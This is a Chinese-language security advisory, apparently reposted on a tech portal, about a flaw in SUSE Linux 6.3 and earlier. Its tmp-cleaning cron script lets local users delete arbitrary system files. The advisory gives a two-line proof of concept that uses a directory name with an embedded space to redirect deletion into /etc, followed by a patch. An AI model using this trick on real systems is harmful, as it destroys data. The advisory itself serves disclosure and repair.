Welcome 微信登录
编程资源 图片资源库 蚂蚁家优选 PDF转换器

首页 / 操作系统 / Linux / SUSE Linux 本地用户可以删除任意系统文件

受影响系统:
S.u.S.E. Linux 6.3
S.u.S.E. Linux 6.2
S.u.S.E. Linux 6.1
S.u.S.E. Linux 6.0
描述: SUSE Linux 6.3以及更低版本存在一个安全漏洞,允许任意用户删除系统中的任意文件。如果在/etc/rc.onfig中的MAX_DAYS_IN_TMP变量被设置成大于0值,那么任意本地用户都可以删除任意的系统文件。在SuSE 6.3中,这个问题是由etc/cron.daily/aaa_base产生的,而在更老一点的版本中,问题处在/root/bin/cron.daily程序。 <* 来源:peter@gmv.spm.univ-rennes1.fr *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
mkdir -p "/tmp/foo /etc"
touch -t old-date "/tmp/foo /etc/filetodelete"
建议:
下面是一个SuSE 6.3下的临时补丁程序:
--- aaa_base~ Mon Jan 3 18:16:55 2000
+++ aaa_base Fri Apr 21 08:42:19 2000
@@ -158,20 +158,10 @@
done
for TMP_DIR in $TMP_DIRS_TO_CLEAR ; do
- for DEL_FILE in `find $TMP_DIR/. $OMIT ( -type f -o -type l )
- -atime +$MAX_DAYS_IN_TMP | sort -r` ; do
- rm -f $DEL_FILE
- DEL_DIR=`dirname $DEL_FILE`
- if [ "$DEL_DIR" != "$TMP_DIR/." ] ; then
- rmdir $DEL_DIR 2> /dev/null
- fi
- done
- done
- for DEL_DIR in `find $TMP_DIR/. $OMIT ( -type d )
- -ctime +$MAX_DAYS_IN_TMP | sort -r` ; do
- if [ "$DEL_DIR" != "$TMP_DIR/." ] ; then
- rmdir $DEL_DIR 2> /dev/null
- fi
+ find $TMP_DIR/. $OMIT ! -type d
+ -atime +$MAX_DAYS_IN_TMP -exec rm -f "{}" ";"
+ find $TMP_DIR/. $OMIT -depth -type d -empty -mindepth 1
+ -mtime +$MAX_DAYS_IN_TMP -exec rmdir "{}" ";"
done
fiLinux版Chrome 5 Beta获好评 火狐遭遇强有力对手OpenOffice VBA宏绕过安全限制漏洞相关资讯      suse  Linux漏洞 
  • 敲击28次退格键之后:Linux漏洞可  (12/18/2015 11:22:28)
  • Red Hat Linux 修补“libuser”库  (07/26/2015 06:39:34)
  • 红帽反驳:“Grinch(鬼精灵)”算  (12/30/2014 07:38:23)
  • 你还记得那只可爱的小蜥蜴吗?没错  (10/26/2015 20:24:36)
  • Linux出现重大漏洞 GHOST ?  (01/30/2015 18:35:07)
  • 专访SUSE总裁Nils:让开源基因深入  (12/03/2014 18:44:03)
本文评论 查看全部评论 (0)
表情: 姓名: 字数


评论声明
  • 尊重网上道德,遵守中华人民共和国的各项有关法律法规
  • 承担一切因您的行为而直接或间接导致的民事或刑事法律责任
  • 本站管理人员有权保留或删除其管辖留言中的任意内容
  • 本站有权在网站内转载或引用您的评论
  • 参与本评论即表明您已经阅读并接受上述条款